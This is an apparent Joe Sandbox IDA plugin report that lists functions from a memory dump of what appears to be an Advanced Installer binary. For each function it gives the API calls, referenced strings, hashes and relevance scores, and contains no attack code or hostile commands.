Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e9e8384e7ac54f08e8486d436180ce82bf8efdba6e88b304288a9adc87b686e9
Instruction ID: b7ebeb7e99afd6fa0a8966637a3688f17eae373d242a93ec5cea59219ce06ac2
Opcode Fuzzy Hash: e9e8384e7ac54f08e8486d436180ce82bf8efdba6e88b304288a9adc87b686e9
Instruction Fuzzy Hash: 91016731950665EFDB119F54DC05FEEBBB8FB04B15F004625F811E26A0DB749E05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C1E160 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA9842: EnterCriticalSection.KERNEL32(00DB9EA0,-00000010,?,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622,-00000010,?), ref: 00CA984D
Part of subcall function 00CA9842: LeaveCriticalSection.KERNEL32(00DB9EA0,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622,-00000010,?,?,00000008), ref: 00CA988A

LoadLibraryA.KERNEL32(Dbghelp.dll,SymFromAddr), ref: 00C1E1BE
GetProcAddress.KERNEL32(00000000), ref: 00C1E1C5
__Init_thread_footer.LIBCMT ref: 00C1E1DC

Part of subcall function 00CA97F8: EnterCriticalSection.KERNEL32(00DB9EA0,?,?,00B19F37,00DBAAD4,00D2A720), ref: 00CA9802
Part of subcall function 00CA97F8: LeaveCriticalSection.KERNEL32(00DB9EA0,?,00B19F37,00DBAAD4,00D2A720), ref: 00CA9835

Strings

Dbghelp.dll, xrefs: 00C1E1B9
SymFromAddr, xrefs: 00C1E1B4

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressInit_thread_footerLibraryLoadProc
String ID: Dbghelp.dll$SymFromAddr
API String ID: 2852020285-642441706
Opcode ID: 85dae1c52c02957576954ff1784675a2a8d72a5e76bf196e35c57c6e9e9f4701
Instruction ID: bdf2440cf7fba390f0e23d17a7957f2cb0b809c86f4f9340bbd17356e01abe6f
Opcode Fuzzy Hash: 85dae1c52c02957576954ff1784675a2a8d72a5e76bf196e35c57c6e9e9f4701
Instruction Fuzzy Hash: 5C0148B5A44744EFCB10CF58ED46B8877A4F709720F100366E826D77D1D7B5AA049B25

Uniqueness

Uniqueness Score: -1.00%

Function 00B7A5D0 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 227memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B7A7EE
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00B7A7F4
GetProcessHeap.KERNEL32(-000000FF,00000000), ref: 00B7A81F
HeapFree.KERNEL32(00000000,-000000FF,00000000), ref: 00B7A825

Strings

_TEMP, xrefs: 00B7A717, 00B7A748

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Heap$FreeProcess
String ID: _TEMP
API String ID: 3859560861-1625495653
Opcode ID: cfcd10bbe892a681abe7ed89fad2706fc7c43cb2bdea6f890e583ce2a698474d
Instruction ID: e9bbea59008fd161f373ed7e3ef17d6e5e49f7daf22b20d1e2039bc7bbfd4122
Opcode Fuzzy Hash: cfcd10bbe892a681abe7ed89fad2706fc7c43cb2bdea6f890e583ce2a698474d
Instruction Fuzzy Hash: 11917C70D01249DFDB14DFA8C985BEEBBF4EF48314F2482ADE425A7281C7745A45CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00B26ED0 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 157COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00DBB428,7E4AB622,00000000,00DBB444), ref: 00B26F43
LeaveCriticalSection.KERNEL32(00DBB428), ref: 00B26FA8
LeaveCriticalSection.KERNEL32(00DBB428), ref: 00B2709B

Strings

v, xrefs: 00B26FA8, 00B2709B
ATL:%p, xrefs: 00B27024

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID: v$ATL:%p
API String ID: 2978645861-109518622
Opcode ID: e2bbcc4fc13a18227782eef8c9563ceea1f786dfe93395b96ca612e271b3fa7c
Instruction ID: 12f23e948d5d2c8a137ea6a9b876a7692bb52e0e320a65b73fd8bc7c4ce4d2a9
Opcode Fuzzy Hash: e2bbcc4fc13a18227782eef8c9563ceea1f786dfe93395b96ca612e271b3fa7c
Instruction Fuzzy Hash: E1519971D04B54CBCB20CFA8D9416AAF7F4FF58714F00465DE99AA3790EB70A9848BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C10B30 Relevance: 7.6, APIs: 5, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00C10B64
std::_Lockit::_Lockit.LIBCPMT ref: 00C10B86
std::_Lockit::~_Lockit.LIBCPMT ref: 00C10BAE
std::_Facet_Register.LIBCPMT ref: 00C10C97
std::_Lockit::~_Lockit.LIBCPMT ref: 00C10CC1

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 475ee506645b3d53393a7fee895df4002684e6e7298b1985082221784d86cb30
Instruction ID: 993b873a4344c8c2a6c8f4630de5fec66461238f36e923651f5bb9d0f5e55855
Opcode Fuzzy Hash: 475ee506645b3d53393a7fee895df4002684e6e7298b1985082221784d86cb30
Instruction Fuzzy Hash: 38519070904345DFDB11CF98C840BAEBBF4FB11318F244299E855AB381D7B5AA85DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00B1E750 Relevance: 7.6, APIs: 5, Instructions: 60memorywindowCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B1E79A
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00B1E7A0
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,00000000,00000000,00000000), ref: 00B1E7C3
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,00CD2D76,000000FF), ref: 00B1E7EB
HeapFree.KERNEL32(00000000,00000000,00000000,?,?,?,00CD2D76,000000FF), ref: 00B1E7F1

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Heap$FreeProcess$FormatMessage
String ID:
API String ID: 1606019998-0
Opcode ID: 77341824107ddfa1cd7e466481477aec2ffadc002039920e80af0ec8e668e3aa
Instruction ID: 38bd19fa6c53592330b9292d22b86cd7d7f36188673791801ced8070e839edef
Opcode Fuzzy Hash: 77341824107ddfa1cd7e466481477aec2ffadc002039920e80af0ec8e668e3aa
Instruction Fuzzy Hash: 731160B1A44719ABEB00DF94CC06BAFBBB8FB04B18F104519F910EB2C1D7B5990487E0

Uniqueness

Uniqueness Score: -1.00%

Function 00C54450 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,7E4AB622,00000000,?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 00C54484

Part of subcall function 00C15460: MultiByteToWideChar.KERNEL32(00000003,00000000,7508EB20,000000FF,00000000,00000000,?,?,759234C0,80004005,?,?,?,00D0E8AD,000000FF,?), ref: 00C15478
Part of subcall function 00C15460: MultiByteToWideChar.KERNEL32(00000003,00000000,7508EB20,000000FF,?,-00000001,?,?,759234C0,80004005,?,?,?,00D0E8AD,000000FF,?), ref: 00C154AA

Part of subcall function 00B27340: RaiseException.KERNEL32(7E4AB622,7E4AB622,00000000,00000000,00C556DB,C000008C,00000001,7E4AB622), ref: 00B2734C

Part of subcall function 00B19AE0: HeapAlloc.KERNEL32(?,00000000,?,7E4AB622,00000000,00CD1390,000000FF,?,?,00DAE7AC,?,00B1CB99,80004005,7E4AB622,-00000010,?), ref: 00B19B2A

Strings

.jar, xrefs: 00C5490C
.pack, xrefs: 00C547C1
*.*, xrefs: 00C544FA, 00C5450C, 00C54514

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: ByteCharMultiWide$AllocExceptionHeapObjectRaiseSingleWait
String ID: *.*$.jar$.pack
API String ID: 1065105516-3892993289
Opcode ID: 9bf507e3c2164ca9dae5e22cb36da8dd0c6a8313dffcf387695ef3f176093ff6
Instruction ID: cd77802b2e5c4d61e2dc4e1e637bd155a34b33b672e974a2be9da94248248cd2
Opcode Fuzzy Hash: 9bf507e3c2164ca9dae5e22cb36da8dd0c6a8313dffcf387695ef3f176093ff6
Instruction Fuzzy Hash: AE519074A0061ADFDB14DFA9C844BAEB7F4FF05315F144268E825E7291DB34DA88CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00B2B780 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000000,00000000,Caphyon.AI.ExtUI.IEClickSoundRemover,7E4AB622), ref: 00B2B821
GetLastError.KERNEL32 ref: 00B2B84A

Strings

Caphyon.AI.ExtUI.IEClickSoundRemover, xrefs: 00B2B816
AppEvents\Schemes\Apps\Explorer\Navigating\.Current, xrefs: 00B2B88A

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CreateErrorEventLast
String ID: AppEvents\Schemes\Apps\Explorer\Navigating\.Current$Caphyon.AI.ExtUI.IEClickSoundRemover
API String ID: 545576003-2079760225
Opcode ID: 030d89e3d32c1b889fc052795b71cf8141bd4fb5911bdb240e97aaac60f2f9c7
Instruction ID: 43600f1804475c3700139830e9470525ea656d001b734e3f688a9da6b6bd9031
Opcode Fuzzy Hash: 030d89e3d32c1b889fc052795b71cf8141bd4fb5911bdb240e97aaac60f2f9c7
Instruction Fuzzy Hash: B6617B70D05748EEDB20CF68C955BDEFBF4EF14304F108299E459A7281DBB4AA48CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B40490 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 124stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,?,00000020), ref: 00B4057B
MulDiv.KERNEL32(?,00000048,00000000), ref: 00B405B8

Strings

t, xrefs: 00B405C6
?, xrefs: 00B405BE

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: lstrcpyn
String ID: ?$t
API String ID: 97706510-1995845436
Opcode ID: b08e365dc6e1acad65159558682e87e25df318266b6d12d2a28ddfec8d778ec6
Instruction ID: 9cc51b69de59dbf8b3af2a44eaf6eb27786d97b3c6bf5fa340b43602d016544d
Opcode Fuzzy Hash: b08e365dc6e1acad65159558682e87e25df318266b6d12d2a28ddfec8d778ec6
Instruction Fuzzy Hash: 9E517F71908381EFE721DF64DD49B9BBBE8EF88700F00491DF289C6291D774A508CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00B79700 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00FAED88,7E4AB622,00FAED88), ref: 00B79741
GetCurrentThreadId.KERNEL32 ref: 00B79751
LeaveCriticalSection.KERNEL32(?), ref: 00B79777

Strings

v, xrefs: 00B79777

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread
String ID: v
API String ID: 2351996187-3261393531
Opcode ID: 093be25a802ca37cdfb9975aca97f48778b578b60d5f4b00d2e4548128a245ab
Instruction ID: 000d5d89486c8644064329cf1a9679a01d82e8b112fb88e8301dfd771680a76c
Opcode Fuzzy Hash: 093be25a802ca37cdfb9975aca97f48778b578b60d5f4b00d2e4548128a245ab
Instruction Fuzzy Hash: B841BD71900616AFDB24DF58DD41AAAF7F8FB05710F1083A9E829D7290E731AE04CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 00B27360 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(7E4AB622,?,00000000,00000000,?), ref: 00B27396
EnterCriticalSection.KERNEL32(00DBB428), ref: 00B273B6
LeaveCriticalSection.KERNEL32(00DBB428), ref: 00B273DA

Strings

v, xrefs: 00B273DA

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread
String ID: v
API String ID: 2351996187-3261393531
Opcode ID: d0a3239e800a08f1f2aa858ba09943592f37d4221217cbc55cc611d75f36c86b
Instruction ID: 71ac39ee50887f683e2422fdd35a04a819366007dccfd7eb013431add4a2335a
Opcode Fuzzy Hash: d0a3239e800a08f1f2aa858ba09943592f37d4221217cbc55cc611d75f36c86b
Instruction Fuzzy Hash: 2521D371944758DFC720CF98DD01B9ABBF8FB04B24F10466EE825D3780D7B5A9008BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B1EB40 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(combase.dll,RoOriginateLanguageException,?,?,?,?,?,?,?,?,?,?,?,?,00D1B955,000000FF), ref: 00B1EB82
GetProcAddress.KERNEL32(00000000,combase.dll,RoOriginateLanguageException,?,?,?,?,?,?,?,?,?,?,?,?,00D1B955), ref: 00B1EB88

Strings

RoOriginateLanguageException, xrefs: 00B1EB78
combase.dll, xrefs: 00B1EB7D

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoOriginateLanguageException$combase.dll
API String ID: 2574300362-3996158991
Opcode ID: 58c0d61d30b6dc903eab635a959cacaa1a98692f824ae3a6da45e7f848909996
Instruction ID: d3c81dc703a9836cf26be477a335f4d68e24c8b1777e11c4931ae3056e608c6d
Opcode Fuzzy Hash: 58c0d61d30b6dc903eab635a959cacaa1a98692f824ae3a6da45e7f848909996
Instruction Fuzzy Hash: 1D317C71944209DFDB10DFA8CC45BEEBBF4EB04314F50866AEC25A72D0DB74AA84CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B483C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00B48407
GetLastError.KERNEL32 ref: 00B48452
CloseHandle.KERNEL32(00000000), ref: 00B48489

Strings

SeShutdownPrivilege, xrefs: 00B48422

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CloseCurrentErrorHandleLastProcess
String ID: SeShutdownPrivilege
API String ID: 1009092642-3733053543
Opcode ID: 42d02ebeb06d49ff536e55f637f85e3320da5a83ced543c83af76d70672ca9bf
Instruction ID: 29749b20593294a64f0092c65f5f98bd97b84a63b4d520cfd765d1961ca785db
Opcode Fuzzy Hash: 42d02ebeb06d49ff536e55f637f85e3320da5a83ced543c83af76d70672ca9bf
Instruction Fuzzy Hash: 0B212670A40309EFDB20DFA4CD59BEEBBF8EB08714F144259E911E6390DB75AA04CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00C48690 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,00C4683A,?,7E4AB622,?,?,?,000000FF,?,00C461F4), ref: 00C4869D
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00C4683A,?,7E4AB622,?,?,?,000000FF,?,00C461F4,?), ref: 00C486BE
GetLastError.KERNEL32(?,7E4AB622,?,?,?,000000FF,?,00C461F4,?,?,00000000,00000000,7E4AB622,?,?), ref: 00C4871E

Strings

AdvancedInstaller, xrefs: 00C48706

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CreateEvent$ErrorLast
String ID: AdvancedInstaller
API String ID: 1131763895-1372594473
Opcode ID: 99f4be2b1f2785acaf4ac823090b44c117d3bb044edb01ec2fa6eda25813d27e
Instruction ID: 43a6391f9583b48615c65559861b85971b517478931ed00de63c3bc09353e58c
Opcode Fuzzy Hash: 99f4be2b1f2785acaf4ac823090b44c117d3bb044edb01ec2fa6eda25813d27e
Instruction Fuzzy Hash: B9115831740702EBE720DB21CD99F5ABBA8FB48B05F214528F605DB280DBB1F815CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00B270D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00DBB428), ref: 00B2710C
GetCurrentThreadId.KERNEL32 ref: 00B27120
LeaveCriticalSection.KERNEL32(00DBB428), ref: 00B2715F

Strings

v, xrefs: 00B2715F

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread
String ID: v
API String ID: 2351996187-3261393531
Opcode ID: 156f1f4015e564a3422bf578b1b446c9fe85f8f91f17143ee1075f553f88177c
Instruction ID: 1bde3349adebc55958f792e1d5d17c944e46e41ce999d6ae320046b9f625bb7f
Opcode Fuzzy Hash: 156f1f4015e564a3422bf578b1b446c9fe85f8f91f17143ee1075f553f88177c
Instruction Fuzzy Hash: 9711D331E58315CFC720CF58E90476EBBE4FF55B29F10429AD816E3380DBB0980087A0

Uniqueness

Uniqueness Score: -1.00%

Function 00CA98CA Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32(00DB9EA0,?,?,00CA9867,00000064,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622), ref: 00CA98F7
WaitForSingleObjectEx.KERNEL32(?,00000000,?,00CA9867,00000064,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622), ref: 00CA9908
EnterCriticalSection.KERNEL32(00DB9EA0,?,00CA9867,00000064,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622,-00000010), ref: 00CA990F

Strings

v, xrefs: 00CA98F7

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

